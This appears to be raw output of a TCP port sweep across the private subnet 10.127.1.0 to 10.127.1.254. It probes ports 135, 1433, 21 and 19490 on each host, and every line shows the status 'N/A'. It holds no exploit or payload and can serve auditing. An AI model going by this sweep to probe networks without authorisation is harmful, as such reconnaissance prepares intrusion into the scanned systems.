N/A 10.127.1.109:135 tcp
N/A 10.127.1.110:135 tcp
N/A 10.127.1.111:135 tcp
N/A 10.127.1.112:135 tcp
N/A 10.127.1.113:135 tcp
N/A 10.127.1.114:135 tcp
N/A 10.127.1.115:135 tcp
N/A 10.127.1.116:135 tcp
N/A 10.127.1.117:135 tcp
N/A 10.127.1.118:135 tcp
N/A 10.127.1.119:135 tcp
N/A 10.127.1.120:135 tcp
N/A 10.127.1.121:135 tcp
N/A 10.127.1.122:135 tcp
N/A 10.127.1.123:135 tcp
N/A 10.127.1.124:135 tcp
N/A 10.127.1.125:135 tcp
N/A 10.127.1.126:135 tcp
N/A 10.127.1.127:135 tcp
N/A 10.127.1.128:135 tcp
N/A 10.127.1.129:135 tcp
N/A 10.127.1.130:135 tcp
N/A 10.127.1.131:135 tcp
N/A 10.127.1.132:135 tcp
N/A 10.127.1.133:135 tcp
N/A 10.127.1.134:135 tcp
N/A 10.127.1.135:135 tcp
N/A 10.127.1.136:135 tcp
N/A 10.127.1.137:135 tcp
N/A 10.127.1.138:135 tcp
N/A 10.127.1.139:135 tcp
N/A 10.127.1.140:135 tcp
N/A 10.127.1.141:135 tcp
N/A 10.127.1.142:135 tcp
N/A 10.127.1.143:135 tcp
N/A 10.127.1.144:135 tcp
N/A 10.127.1.145:135 tcp
N/A 10.127.1.146:135 tcp
N/A 10.127.1.147:135 tcp
N/A 10.127.1.148:135 tcp
N/A 10.127.1.149:135 tcp
N/A 10.127.1.150:135 tcp
N/A 10.127.1.151:135 tcp
N/A 10.127.1.152:135 tcp
N/A 10.127.1.153:135 tcp
N/A 10.127.1.154:135 tcp
N/A 10.127.1.155:135 tcp
N/A 10.127.1.156:135 tcp
N/A 10.127.1.157:135 tcp
N/A 10.127.1.158:135 tcp
N/A 10.127.1.159:135 tcp
N/A 10.127.1.160:135 tcp
N/A 10.127.1.161:135 tcp
N/A 10.127.1.162:135 tcp
N/A 10.127.1.163:135 tcp
N/A 10.127.1.164:135 tcp
N/A 10.127.1.165:135 tcp
N/A 10.127.1.166:135 tcp
N/A 10.127.1.167:135 tcp
N/A 10.127.1.168:135 tcp
N/A 10.127.1.169:135 tcp
N/A 10.127.1.170:135 tcp
N/A 10.127.1.171:135 tcp
N/A 10.127.1.172:135 tcp
N/A 10.127.1.173:135 tcp
N/A 10.127.1.174:135 tcp
N/A 10.127.1.175:135 tcp
N/A 10.127.1.176:135 tcp
N/A 10.127.1.177:135 tcp
N/A 10.127.1.178:135 tcp
N/A 10.127.1.179:135 tcp
N/A 10.127.1.180:135 tcp
N/A 10.127.1.181:135 tcp
N/A 10.127.1.182:135 tcp
N/A 10.127.1.183:135 tcp
N/A 10.127.1.184:135 tcp
N/A 10.127.1.185:135 tcp
N/A 10.127.1.186:135 tcp
N/A 10.127.1.187:135 tcp
N/A 10.127.1.188:135 tcp
N/A 10.127.1.189:135 tcp
N/A 10.127.1.190:135 tcp
N/A 10.127.1.191:135 tcp
N/A 10.127.1.0:1433 tcp
N/A 10.127.1.192:135 tcp
N/A 10.127.1.1:1433 tcp
N/A 10.127.1.193:135 tcp
N/A 10.127.1.2:1433 tcp
N/A 10.127.1.194:135 tcp
N/A 10.127.1.195:135 tcp
N/A 10.127.1.196:135 tcp
N/A 10.127.1.197:135 tcp
N/A 10.127.1.3:1433 tcp
N/A 10.127.1.198:135 tcp
N/A 10.127.1.4:1433 tcp
N/A 10.127.1.199:135 tcp
N/A 10.127.1.5:1433 tcp
N/A 10.127.1.200:135 tcp
N/A 10.127.1.6:1433 tcp
N/A 10.127.1.201:135 tcp
N/A 10.127.1.7:1433 tcp
N/A 10.127.1.202:135 tcp
N/A 10.127.1.8:1433 tcp
N/A 10.127.1.203:135 tcp
N/A 10.127.1.9:1433 tcp
N/A 10.127.1.204:135 tcp
N/A 10.127.1.205:135 tcp
N/A 10.127.1.11:1433 tcp
N/A 10.127.1.10:1433 tcp
N/A 10.127.1.206:135 tcp
N/A 10.127.1.12:1433 tcp
N/A 10.127.1.207:135 tcp
N/A 10.127.1.13:1433 tcp
N/A 10.127.1.208:135 tcp
N/A 10.127.1.14:1433 tcp
N/A 10.127.1.209:135 tcp
N/A 10.127.1.15:1433 tcp
N/A 10.127.1.210:135 tcp
N/A 10.127.1.211:135 tcp
N/A 10.127.1.17:1433 tcp
N/A 10.127.1.16:1433 tcp
N/A 10.127.1.212:135 tcp
N/A 10.127.1.18:1433 tcp
N/A 10.127.1.213:135 tcp
N/A 10.127.1.19:1433 tcp
N/A 10.127.1.214:135 tcp
N/A 10.127.1.215:135 tcp
N/A 10.127.1.21:1433 tcp
N/A 10.127.1.216:135 tcp
N/A 10.127.1.22:1433 tcp
N/A 10.127.1.217:135 tcp
N/A 10.127.1.23:1433 tcp
N/A 10.127.1.218:135 tcp
N/A 10.127.1.24:1433 tcp
N/A 10.127.1.219:135 tcp
N/A 10.127.1.25:1433 tcp
N/A 10.127.1.220:135 tcp
N/A 10.127.1.26:1433 tcp
N/A 10.127.1.221:135 tcp
N/A 10.127.1.27:1433 tcp
N/A 10.127.1.222:135 tcp
N/A 10.127.1.28:1433 tcp
N/A 10.127.1.223:135 tcp
N/A 10.127.1.29:1433 tcp
N/A 10.127.1.224:135 tcp
N/A 10.127.1.30:1433 tcp
N/A 10.127.1.225:135 tcp
N/A 10.127.1.31:1433 tcp
N/A 10.127.1.226:135 tcp
N/A 10.127.1.32:1433 tcp
N/A 10.127.1.227:135 tcp
N/A 10.127.1.33:1433 tcp
N/A 10.127.1.228:135 tcp
N/A 10.127.1.34:1433 tcp
N/A 10.127.1.229:135 tcp
N/A 10.127.1.35:1433 tcp
N/A 10.127.1.230:135 tcp
N/A 10.127.1.36:1433 tcp
N/A 10.127.1.231:135 tcp
N/A 10.127.1.37:1433 tcp
N/A 10.127.1.232:135 tcp
N/A 10.127.1.38:1433 tcp
N/A 10.127.1.233:135 tcp
N/A 10.127.1.39:1433 tcp
N/A 10.127.1.234:135 tcp
N/A 10.127.1.40:1433 tcp
N/A 10.127.1.235:135 tcp
N/A 10.127.1.41:1433 tcp
N/A 10.127.1.236:135 tcp
N/A 10.127.1.42:1433 tcp
N/A 10.127.1.237:135 tcp
N/A 10.127.1.43:1433 tcp
N/A 10.127.1.238:135 tcp
N/A 10.127.1.44:1433 tcp
N/A 10.127.1.239:135 tcp
N/A 10.127.1.45:1433 tcp
N/A 10.127.1.240:135 tcp
N/A 10.127.1.46:1433 tcp
N/A 10.127.1.241:135 tcp
N/A 10.127.1.47:1433 tcp
N/A 10.127.1.242:135 tcp
N/A 10.127.1.48:1433 tcp
N/A 10.127.1.243:135 tcp
N/A 10.127.1.49:1433 tcp
N/A 10.127.1.244:135 tcp
N/A 10.127.1.50:1433 tcp
N/A 10.127.1.245:135 tcp
N/A 10.127.1.51:1433 tcp
N/A 10.127.1.246:135 tcp
N/A 10.127.1.52:1433 tcp
N/A 10.127.1.247:135 tcp
N/A 10.127.1.53:1433 tcp
N/A 10.127.1.248:135 tcp
N/A 10.127.1.54:1433 tcp
N/A 10.127.1.249:135 tcp
N/A 10.127.1.55:1433 tcp
N/A 10.127.1.250:135 tcp
N/A 10.127.1.56:1433 tcp
N/A 10.127.1.251:135 tcp
N/A 10.127.1.57:1433 tcp
N/A 10.127.1.252:135 tcp
N/A 10.127.1.58:1433 tcp
N/A 10.127.1.253:135 tcp
N/A 10.127.1.59:1433 tcp
N/A 10.127.1.60:1433 tcp
N/A 10.127.1.254:135 tcp
N/A 10.127.1.61:1433 tcp
N/A 10.127.1.62:1433 tcp
N/A 10.127.1.63:1433 tcp
N/A 10.127.1.64:1433 tcp
N/A 10.127.1.65:1433 tcp
N/A 10.127.1.67:1433 tcp
N/A 10.127.1.66:1433 tcp
N/A 10.127.1.69:1433 tcp
N/A 10.127.1.68:1433 tcp
N/A 10.127.1.70:1433 tcp
N/A 10.127.1.71:1433 tcp
N/A 10.127.1.72:1433 tcp
N/A 10.127.1.73:1433 tcp
N/A 10.127.1.74:1433 tcp
N/A 10.127.1.75:1433 tcp
N/A 10.127.1.76:1433 tcp
N/A 10.127.1.77:1433 tcp
N/A 10.127.1.78:1433 tcp
N/A 10.127.1.79:1433 tcp
N/A 10.127.1.80:1433 tcp
N/A 10.127.1.81:1433 tcp
N/A 10.127.1.82:1433 tcp
N/A 10.127.1.83:1433 tcp
N/A 10.127.1.20:19490 tcp
N/A 10.127.1.84:1433 tcp
N/A 10.127.1.85:1433 tcp
N/A 10.127.1.86:1433 tcp
N/A 10.127.1.87:1433 tcp
N/A 10.127.1.88:1433 tcp
N/A 10.127.1.89:1433 tcp
N/A 10.127.1.90:1433 tcp
N/A 10.127.1.91:1433 tcp
N/A 10.127.1.92:1433 tcp
N/A 10.127.1.93:1433 tcp
N/A 10.127.1.94:1433 tcp
N/A 10.127.1.95:1433 tcp
N/A 10.127.1.96:1433 tcp
N/A 10.127.1.97:1433 tcp
N/A 10.127.1.98:1433 tcp
N/A 10.127.1.99:1433 tcp
N/A 10.127.1.100:1433 tcp
N/A 10.127.1.101:1433 tcp
N/A 10.127.1.102:1433 tcp
N/A 10.127.1.103:1433 tcp
N/A 10.127.1.104:1433 tcp
N/A 10.127.1.105:1433 tcp
N/A 10.127.1.106:1433 tcp
N/A 10.127.1.107:1433 tcp
N/A 10.127.1.108:1433 tcp
N/A 10.127.1.109:1433 tcp
N/A 10.127.1.110:1433 tcp
N/A 10.127.1.111:1433 tcp
N/A 10.127.1.112:1433 tcp
N/A 10.127.1.113:1433 tcp
N/A 10.127.1.114:1433 tcp
N/A 10.127.1.115:1433 tcp
N/A 10.127.1.116:1433 tcp
N/A 10.127.1.117:1433 tcp
N/A 10.127.1.118:1433 tcp
N/A 10.127.1.119:1433 tcp
N/A 10.127.1.120:1433 tcp
N/A 10.127.1.121:1433 tcp
N/A 10.127.1.122:1433 tcp
N/A 10.127.1.123:1433 tcp
N/A 10.127.1.124:1433 tcp
N/A 10.127.1.125:1433 tcp
N/A 10.127.1.126:1433 tcp
N/A 10.127.1.127:1433 tcp
N/A 10.127.1.128:1433 tcp
N/A 10.127.1.129:1433 tcp
N/A 10.127.1.130:1433 tcp
N/A 10.127.1.131:1433 tcp
N/A 10.127.1.132:1433 tcp
N/A 10.127.1.133:1433 tcp
N/A 10.127.1.134:1433 tcp
N/A 10.127.1.135:1433 tcp
N/A 10.127.1.136:1433 tcp
N/A 10.127.1.137:1433 tcp
N/A 10.127.1.138:1433 tcp
N/A 10.127.1.139:1433 tcp
N/A 10.127.1.140:1433 tcp
N/A 10.127.1.141:1433 tcp
N/A 10.127.1.142:1433 tcp
N/A 10.127.1.143:1433 tcp
N/A 10.127.1.144:1433 tcp
N/A 10.127.1.145:1433 tcp
N/A 10.127.1.146:1433 tcp
N/A 10.127.1.147:1433 tcp
N/A 10.127.1.148:1433 tcp
N/A 10.127.1.149:1433 tcp
N/A 10.127.1.150:1433 tcp
N/A 10.127.1.151:1433 tcp
N/A 10.127.1.152:1433 tcp
N/A 10.127.1.153:1433 tcp
N/A 10.127.1.154:1433 tcp
N/A 10.127.1.155:1433 tcp
N/A 10.127.1.156:1433 tcp
N/A 10.127.1.157:1433 tcp
N/A 10.127.1.158:1433 tcp
N/A 10.127.1.159:1433 tcp
N/A 10.127.1.160:1433 tcp
N/A 10.127.1.161:1433 tcp
N/A 10.127.1.162:1433 tcp
N/A 10.127.1.163:1433 tcp
N/A 10.127.1.164:1433 tcp
N/A 10.127.1.165:1433 tcp
N/A 10.127.1.166:1433 tcp
N/A 10.127.1.167:1433 tcp
N/A 10.127.1.168:1433 tcp
N/A 10.127.1.169:1433 tcp
N/A 10.127.1.170:1433 tcp
N/A 10.127.1.171:1433 tcp
N/A 10.127.1.172:1433 tcp
N/A 10.127.1.173:1433 tcp
N/A 10.127.1.174:1433 tcp
N/A 10.127.1.175:1433 tcp
N/A 10.127.1.176:1433 tcp
N/A 10.127.1.177:1433 tcp
N/A 10.127.1.178:1433 tcp
N/A 10.127.1.179:1433 tcp
N/A 10.127.1.180:1433 tcp
N/A 10.127.1.181:1433 tcp
N/A 10.127.1.182:1433 tcp
N/A 10.127.1.183:1433 tcp
N/A 10.127.1.184:1433 tcp
N/A 10.127.1.185:1433 tcp
N/A 10.127.1.186:1433 tcp
N/A 10.127.1.187:1433 tcp
N/A 10.127.1.188:1433 tcp
N/A 10.127.1.189:1433 tcp
N/A 10.127.1.0:21 tcp
N/A 10.127.1.190:1433 tcp
N/A 10.127.1.191:1433 tcp
N/A 10.127.1.1:21 tcp
N/A 10.127.1.2:21 tcp
N/A 10.127.1.192:1433 tcp
N/A 10.127.1.193:1433 tcp
N/A 10.127.1.194:1433 tcp
N/A 10.127.1.195:1433 tcp
N/A 10.127.1.3:21 tcp
N/A 10.127.1.196:1433 tcp
N/A 10.127.1.197:1433 tcp
N/A 10.127.1.4:21 tcp
N/A 10.127.1.5:21 tcp
N/A 10.127.1.198:1433 tcp
N/A 10.127.1.199:1433 tcp
N/A 10.127.1.6:21 tcp
N/A 10.127.1.7:21 tcp
N/A 10.127.1.200:1433 tcp
N/A 10.127.1.201:1433 tcp
N/A 10.127.1.8:21 tcp
N/A 10.127.1.9:21 tcp
N/A 10.127.1.202:1433 tcp
N/A 10.127.1.203:1433 tcp
N/A 10.127.1.11:21 tcp
N/A 10.127.1.10:21 tcp
N/A 10.127.1.204:1433 tcp
N/A 10.127.1.205:1433 tcp
N/A 10.127.1.12:21 tcp
N/A 10.127.1.13:21 tcp
N/A 10.127.1.206:1433 tcp
N/A 10.127.1.207:1433 tcp
N/A 10.127.1.14:21 tcp
N/A 10.127.1.15:21 tcp
N/A 10.127.1.208:1433 tcp
N/A 10.127.1.209:1433 tcp
N/A 10.127.1.16:21 tcp
N/A 10.127.1.17:21 tcp
N/A 10.127.1.210:1433 tcp
N/A 10.127.1.211:1433 tcp
N/A 10.127.1.18:21 tcp
N/A 10.127.1.19:21 tcp
N/A 10.127.1.212:1433 tcp
N/A 10.127.1.213:1433 tcp
N/A 10.127.1.21:21 tcp
N/A 10.127.1.214:1433 tcp
N/A 10.127.1.215:1433 tcp
N/A 10.127.1.22:21 tcp
N/A 10.127.1.23:21 tcp
N/A 10.127.1.216:1433 tcp
N/A 10.127.1.217:1433 tcp
N/A 10.127.1.24:21 tcp
N/A 10.127.1.25:21 tcp
N/A 10.127.1.218:1433 tcp
N/A 10.127.1.219:1433 tcp
N/A 10.127.1.27:21 tcp
N/A 10.127.1.221:1433 tcp
N/A 10.127.1.26:21 tcp
N/A 10.127.1.28:21 tcp
N/A 10.127.1.29:21 tcp
N/A 10.127.1.223:1433 tcp
N/A 10.127.1.220:1433 tcp
N/A 10.127.1.222:1433 tcp
N/A 10.127.1.30:21 tcp
N/A 10.127.1.31:21 tcp
N/A 10.127.1.224:1433 tcp
N/A 10.127.1.225:1433 tcp
N/A 10.127.1.32:21 tcp
N/A 10.127.1.33:21 tcp
N/A 10.127.1.226:1433 tcp
N/A 10.127.1.227:1433 tcp
N/A 10.127.1.34:21 tcp
N/A 10.127.1.35:21 tcp
N/A 10.127.1.228:1433 tcp
N/A 10.127.1.229:1433 tcp
N/A 10.127.1.36:21 tcp
N/A 10.127.1.37:21 tcp
N/A 10.127.1.231:1433 tcp
N/A 10.127.1.230:1433 tcp
N/A 10.127.1.38:21 tcp
N/A 10.127.1.39:21 tcp
N/A 10.127.1.232:1433 tcp
N/A 10.127.1.233:1433 tcp
N/A 10.127.1.40:21 tcp
N/A 10.127.1.41:21 tcp
N/A 10.127.1.234:1433 tcp
N/A 10.127.1.235:1433 tcp
N/A 10.127.1.42:21 tcp
N/A 10.127.1.43:21 tcp
N/A 10.127.1.236:1433 tcp
N/A 10.127.1.237:1433 tcp
N/A 10.127.1.44:21 tcp
N/A 10.127.1.45:21 tcp
N/A 10.127.1.238:1433 tcp
N/A 10.127.1.239:1433 tcp
N/A 10.127.1.46:21 tcp
N/A 10.127.1.47:21 tcp
N/A 10.127.1.240:1433 tcp
N/A 10.127.1.241:1433 tcp
N/A 10.127.1.48:21 tcp
N/A 10.127.1.49:21 tcp
N/A 10.127.1.242:1433 tcp
N/A 10.127.1.243:1433 tcp
N/A 10.127.1.50:21 tcp
N/A 10.127.1.51:21 tcp
N/A 10.127.1.244:1433 tcp
N/A 10.127.1.245:1433 tcp
N/A 10.127.1.52:21 tcp
N/A 10.127.1.246:1433 tcp
N/A 10.127.1.53:21 tcp
N/A 10.127.1.247:1433 tcp
N/A 10.127.1.54:21 tcp
N/A 10.127.1.55:21 tcp
N/A 10.127.1.248:1433 tcp
N/A 10.127.1.249:1433 tcp
N/A 10.127.1.56:21 tcp
N/A 10.127.1.57:21 tcp
N/A 10.127.1.250:1433 tcp
N/A 10.127.1.251:1433 tcp
N/A 10.127.1.58:21 tcp
N/A 10.127.1.59:21 tcp
N/A 10.127.1.252:1433 tcp
N/A 10.127.1.253:1433 tcp
N/A 10.127.1.60:21 tcp
N/A 10.127.1.61:21 tcp
N/A 10.127.1.254:1433 tcp
N/A 10.127.1.62:21 tcp
N/A 10.127.1.63:21 tcp
N/A 10.127.1.64:21 tcp
N/A 10.127.1.65:21 tcp
N/A 10.127.1.67:21 tcp
N/A 10.127.1.66:21 tcp
N/A 10.127.1.68:21 tcp
N/A 10.127.1.69:21 tcp
N/A 10.127.1.70:21 tcp
N/A 10.127.1.71:21 tcp
N/A 10.127.1.72:21 tcp
N/A 10.127.1.73:21 tcp
N/A 10.127.1.74:21 tcp
N/A 10.127.1.75:21 tcp
N/A 10.127.1.76:21 tcp
N/A 10.127.1.77:21 tcp
N/A 10.127.1.78:21 tcp
N/A 10.127.1.79:21 tcp
N/A 10.127.1.80:21 tcp
N/A 10.127.1.81:21 tcp
N/A 10.127.1.82:21 tcp
N/A 10.127.1.83:21 tcp
N/A 10.127.1.84:21 tcp
N/A 10.127.1.85:21 tcp
N/A 10.127.1.86:21 tcp
N/A 10.127.1.87:21 tcp
N/A 10.127.1.88:21 tcp
N/A 10.127.1.89:21 tcp
N/A 10.127.1.90:21 tcp
N/A 10.127.1.91:21 tcp
N/A 10.127.1.92:21 tcp
N/A 10.127.1.93:21 tcp
N/A 10.127.1.94:21 tcp
N/A 10.127.1.95:21 tcp
N/A 10.127.1.96:21 tcp
N/A 10.127.1.97:21 tcp
N/A 10.127.1.98:21 tcp
N/A 10.127.1.99:21 tcp
N/A 10.127.1.100:21 tcp
N/A 10.127.1.101:21 tcp
N/A 10.127.1.102:21 tcp
N/A 10.127.1.103:21 tcp
N/A 10.127.1.104:21 tcp
N/A 10.127.1.105:21 tcp
N/A 10.127.1.106:21 tcp
N/A 10.127.1.107:21 tcp
N/A 10.127.1.108:21 tcp
N/A 10.127.1.109:21 tcp
N/A 10.127.1.110:21 tcp
N/A 10.127.1.111:21 tcp
N/A 10.127.1.112:21 tcp
N/A 10.127.1.113:21 tcp
N/A 10.127.1.114:21 tcp
N/A 10.127.1.115:21 tcp
N/A 10.127.1.116:21 tcp
N/A 10.127.1.117:21 tcp
N/A 10.127.1.118:21 tcp
N/A 10.127.1.119:21 tcp
N/A 10.127.1.120:21 tcp
N/A 10.127.1.121:21 tcp
N/A 10.127.1.122:21 tcp
N/A 10.127.1.123:21 tcp
N/A 10.127.1.124:21 tcp
N/A 10.127.1.125:21 tcp
N/A 10.127.1.126:21 tcp
N/A 10.127.1.127:21 tcp
N/A 10.127.1.128:21 tcp
N/A 10.127.1.129:21 tcp
N/A 10.127.1.130:21 tcp
N/A 10.127.1.131:21 tcp
N/A 10.127.1.132:21 tcp
N/A 10.127.1.133:21 tcp
N/A 10.127.1.134:21 tcp
N/A 10.127.1.135:21 tcp
N/A 10.127.1.136:21 tcp
N/A 10.127.1.137:21 tcp
N/A 10.127.1.138:21 tcp
N/A 10.127.1.139:21 tcp
N/A 10.127.1.140:21 tcp
N/A 10.127.1.141:21 tcp
N/A 10.127.1.142:21 tcp
N/A 10.127.1.143:21 tcp
N/A 10.127.1.144:21 tcp
N/A 10.127.1.145:21 tcp
N/A 10.127.1.146:21 tcp
N/A 10.127.1.147:21 tcp
N/A 10.127.1.148:21 tcp
N/A 10.127.1.149:21 tcp
N/A 10.127.1.150:21 tcp
N/A 10.127.1.151:21 tcp
N/A 10.127.1.152:21 tcp
N/A 10.127.1.153:21 tcp
N/A 10.127.1.154:21 tcp
N/A 10.127.1.155:21 tcp
N/A 10.127.1.156:21 tcp
N/A 10.127.1.157:21 tcp
N/A 10.127.1.158:21 tcp
N/A 10.127.1.159:21 tcp
N/A 10.127.1.160:21 tcp
N/A 10.127.1.161:21 tcp
N/A 10.127.1.162:21 tcp
N/A 10.127.1.163:21 tcp
N/A 10.127.1.164:21 tcp
N/A 10.127.1.165:21 tcp
N/A 10.127.1.166:21 tcp
N/A 10.127.1.167:21 tcp
N/A 10.127.1.168:21 tcp
N/A 10.127.1.169:21 tcp
N/A 10.127.1.170:21 tcp
N/A 10.127.1.171:21 tcp
N/A 10.127.1.172:21 tcp
N/A 10.127.1.173:21 tcp
N/A 10.127.1.174:21 tcp
N/A 10.127.1.175:21 tcp
N/A 10.127.1.176:21 tcp
N/A 10.127.1.177:21 tcp
N/A 10.127.1.178:21 tcp
N/A 10.127.1.179:21 tcp
N/A 10.127.1.180:21 tcp
N/A 10.127.1.181:21 tcp
N/A 10.127.1.182:21 tcp
N/A 10.127.1.183:21 tcp
N/A 10.127.1.184:21 tcp
N/A 10.127.1.185:21 tcp
N/A 10.127.1.186:21 tcp
N/A 10.127.1.187:21 tcp
N/A 10.127.1.188:21 tcp
N/A 10.127.1.189:21 tcp
N/A 10.127.1.0:19490 tcp
N/A 10.127.1.190:21 tcp
N/A 10.127.1.1:19490 tcp
N/A 10.127.1.191:21 tcp
N/A 10.127.1.192:21 tcp
N/A 10.127.1.2:19490 tcp
N/A 10.127.1.193:21 tcp
N/A 10.127.1.194:21 tcp
N/A 10.127.1.195:21 tcp
N/A 10.127.1.3:19490 tcp
N/A 10.127.1.196:21 tcp
N/A 10.127.1.4:19490 tcp
N/A 10.127.1.197:21 tcp
N/A 10.127.1.5:19490 tcp
N/A 10.127.1.198:21 tcp
N/A 10.127.1.199:21 tcp
N/A 10.127.1.6:19490 tcp
N/A 10.127.1.7:19490 tcp
N/A 10.127.1.200:21 tcp
N/A 10.127.1.201:21 tcp
N/A 10.127.1.8:19490 tcp
N/A 10.127.1.9:19490 tcp
N/A 10.127.1.202:21 tcp
N/A 10.127.1.203:21 tcp
N/A 10.127.1.204:21 tcp
N/A 10.127.1.11:19490 tcp
N/A 10.127.1.10:19490 tcp
N/A 10.127.1.12:19490 tcp
N/A 10.127.1.205:21 tcp
N/A 10.127.1.13:19490 tcp
N/A 10.127.1.206:21 tcp
N/A 10.127.1.207:21 tcp
N/A 10.127.1.14:19490 tcp
N/A 10.127.1.208:21 tcp
N/A 10.127.1.15:19490 tcp
N/A 10.127.1.209:21 tcp
N/A 10.127.1.17:19490 tcp
N/A 10.127.1.210:21 tcp
N/A 10.127.1.16:19490 tcp
N/A 10.127.1.211:21 tcp
N/A 10.127.1.18:19490 tcp
N/A 10.127.1.212:21 tcp
N/A 10.127.1.19:19490 tcp
N/A 10.127.1.213:21 tcp
N/A 10.127.1.21:19490 tcp
N/A 10.127.1.214:21 tcp
N/A 10.127.1.215:21 tcp
N/A 10.127.1.22:19490 tcp
N/A 10.127.1.216:21 tcp
N/A 10.127.1.23:19490 tcp
N/A 10.127.1.24:19490 tcp
N/A 10.127.1.217:21 tcp
N/A 10.127.1.25:19490 tcp
N/A 10.127.1.219:21 tcp
N/A 10.127.1.218:21 tcp
N/A 10.127.1.27:19490 tcp
N/A 10.127.1.28:19490 tcp
N/A 10.127.1.221:21 tcp
N/A 10.127.1.26:19490 tcp
N/A 10.127.1.29:19490 tcp
N/A 10.127.1.223:21 tcp
N/A 10.127.1.30:19490 tcp
N/A 10.127.1.222:21 tcp
N/A 10.127.1.220:21 tcp
N/A 10.127.1.224:21 tcp
N/A 10.127.1.31:19490 tcp
N/A 10.127.1.225:21 tcp
N/A 10.127.1.32:19490 tcp
N/A 10.127.1.33:19490 tcp
N/A 10.127.1.226:21 tcp
N/A 10.127.1.227:21 tcp
N/A 10.127.1.34:19490 tcp
N/A 10.127.1.228:21 tcp
N/A 10.127.1.35:19490 tcp
N/A 10.127.1.36:19490 tcp
N/A 10.127.1.229:21 tcp
N/A 10.127.1.37:19490 tcp
N/A 10.127.1.231:21 tcp
N/A 10.127.1.38:19490 tcp
N/A 10.127.1.230:21 tcp
N/A 10.127.1.232:21 tcp
N/A 10.127.1.39:19490 tcp
N/A 10.127.1.40:19490 tcp
N/A 10.127.1.233:21 tcp
N/A 10.127.1.41:19490 tcp
N/A 10.127.1.234:21 tcp
N/A 10.127.1.235:21 tcp
N/A 10.127.1.42:19490 tcp
N/A 10.127.1.236:21 tcp
N/A 10.127.1.43:19490 tcp
N/A 10.127.1.44:19490 tcp
N/A 10.127.1.237:21 tcp
N/A 10.127.1.45:19490 tcp
N/A 10.127.1.238:21 tcp
N/A 10.127.1.239:21 tcp
N/A 10.127.1.46:19490 tcp
N/A 10.127.1.240:21 tcp
N/A 10.127.1.47:19490 tcp
N/A 10.127.1.48:19490 tcp
N/A 10.127.1.241:21 tcp
N/A 10.127.1.49:19490 tcp
N/A 10.127.1.242:21 tcp
N/A 10.127.1.243:21 tcp
N/A 10.127.1.50:19490 tcp
N/A 10.127.1.244:21 tcp
N/A 10.127.1.51:19490 tcp
N/A 10.127.1.52:19490 tcp
N/A 10.127.1.245:21 tcp
N/A 10.127.1.53:19490 tcp
N/A 10.127.1.246:21 tcp
N/A 10.127.1.247:21 tcp
N/A 10.127.1.54:19490 tcp
N/A 10.127.1.248:21 tcp
N/A 10.127.1.55:19490 tcp
N/A 10.127.1.56:19490 tcp
N/A 10.127.1.249:21 tcp
N/A 10.127.1.57:19490 tcp
N/A 10.127.1.250:21 tcp
N/A 10.127.1.251:21 tcp
N/A 10.127.1.58:19490 tcp
N/A 10.127.1.252:21 tcp
N/A 10.127.1.59:19490 tcp
N/A 10.127.1.60:19490 tcp
N/A 10.127.1.253:21 tcp
N/A 10.127.1.61:19490 tcp
N/A 10.127.1.254:21 tcp
N/A 10.127.1.62:19490 tcp
N/A 10.127.1.63:19490 tcp
N/A 10.127.1.64:19490 tcp
N/A 10.127.1.65:19490 tcp
N/A 10.127.1.66:19490 tcp
N/A 10.127.1.67:19490 tcp
N/A 10.127.1.69:19490 tcp
N/A 10.127.1.68:19490 tcp
N/A 10.127.1.70:19490 tcp
N/A 10.127.1.71:19490 tcp
N/A 10.127.1.72:19490 tcp
N/A 10.127.1.73:19490 tcp
N/A 10.127.1.74:19490 tcp
N/A 10.127.1.75:19490 tcp
N/A 10.127.1.76:19490 tcp
N/A 10.127.1.77:19490 tcp
N/A 10.127.1.78:19490 tcp
N/A 10.127.1.79:19490 tcp
N/A 10.127.1.80:19490 tcp
N/A 10.127.1.81:19490 tcp
N/A 10.127.1.82:19490 tcp
N/A 10.127.1.83:19490 tcp
N/A 10.127.1.84:19490 tcp
N/A 10.127.1.85:19490 tcp
N/A 10.127.1.86:19490 tcp
N/A 10.127.1.87:19490 tcp
N/A 10.127.1.88:19490 tcp
N/A 10.127.1.89:19490 tcp
N/A 10.127.1.90:19490 tcp
N/A 10.127.1.91:19490 tcp
N/A 10.127.1.92:19490 tcp
N/A 10.127.1.93:19490 tcp
N/A 10.127.1.94:19490 tcp
N/A 10.127.1.95:19490 tcp
N/A 10.127.1.96:19490 tcp
N/A 10.127.1.97:19490 tcp
N/A 10.127.1.98:19490 tcp
N/A 10.127.1.99:19490 tcp
N/A 10.127.1.100:19490 tcp
N/A 10.127.1.101:19490 tcp
N/A 10.127.1.102:19490 tcp
N/A 10.127.1.103:19490 tcp
N/A 10.127.1.104:19490 tcp
N/A 10.127.1.105:19490 tcp
N/A 10.127.1.106:19490 tcp
N/A 10.127.1.107:19490 tcp
N/A 10.127.1.108:19490 tcp
N/A 10.127.1.109:19490 tcp
N/A 10.127.1.110:19490 tcp
N/A 10.127.1.111:19490 tcp
N/A 10.127.1.112:19490 tcp
N/A 10.127.1.113:19490 tcp
N/A 10.127.1.114:19490 tcp
N/A 10.127.1.115:19490 tcp
N/A 10.127.1.116:19490 tcp
N/A 10.127.1.117:19490 tcp
N/A 10.127.1.118:19490 tcp
N/A 10.127.1.119:19490 tcp
N/A 10.127.1.120:19490 tcp
N/A 10.127.1.121:19490 tcp
N/A 10.127.1.122:19490 tcp
N/A 10.127.1.123:19490 tcp
N/A 10.127.1.124:19490 tcp
N/A 10.127.1.125:19490 tcp
N/A 10.127.1.126:19490 tcp
N/A 10.127.1.127:19490 tcp
N/A 10.127.1.128:19490 tcp
N/A 10.127.1.129:19490 tcp
N/A 10.127.1.130:19490 tcp
N/A 10.127.1.131:19490 tcp
N/A 10.127.1.132:19490 tcp
N/A 10.127.1.133:19490 tcp
N/A 10.127.1.134:19490 tcp
N/A 10.127.1.135:19490 tcp
N/A 10.127.1.136:19490 tcp
N/A 10.127.1.137:19490 tcp
N/A 10.127.1.138:19490 tcp
N/A 10.127.1.139:19490 tcp
N/A 10.127.1.140:19490 tcp
N/A 10.127.1.141:19490 tcp
N/A 10.127.1.142:19490 tcp
N/A 10.127.1.143:19490 tcp
N/A 10.127.1.144:19490 tcp
N/A 10.127.1.145:19490 tcp
N/A 10.127.1.146:19490 tcp
N/A 10.127.1.147:19490 tcp
N/A 10.127.1.148:19490 tcp
N/A 10.127.1.149:19490 tcp
N/A 10.127.1.150:19490 tcp
N/A 10.127.1.151:19490 tcp
N/A 10.127.1.152:19490 tcp
N/A 10.127.1.153:19490 tcp
N/A 10.127.1.154:19490 tcp
N/A 10.127.1.155:19490 tcp
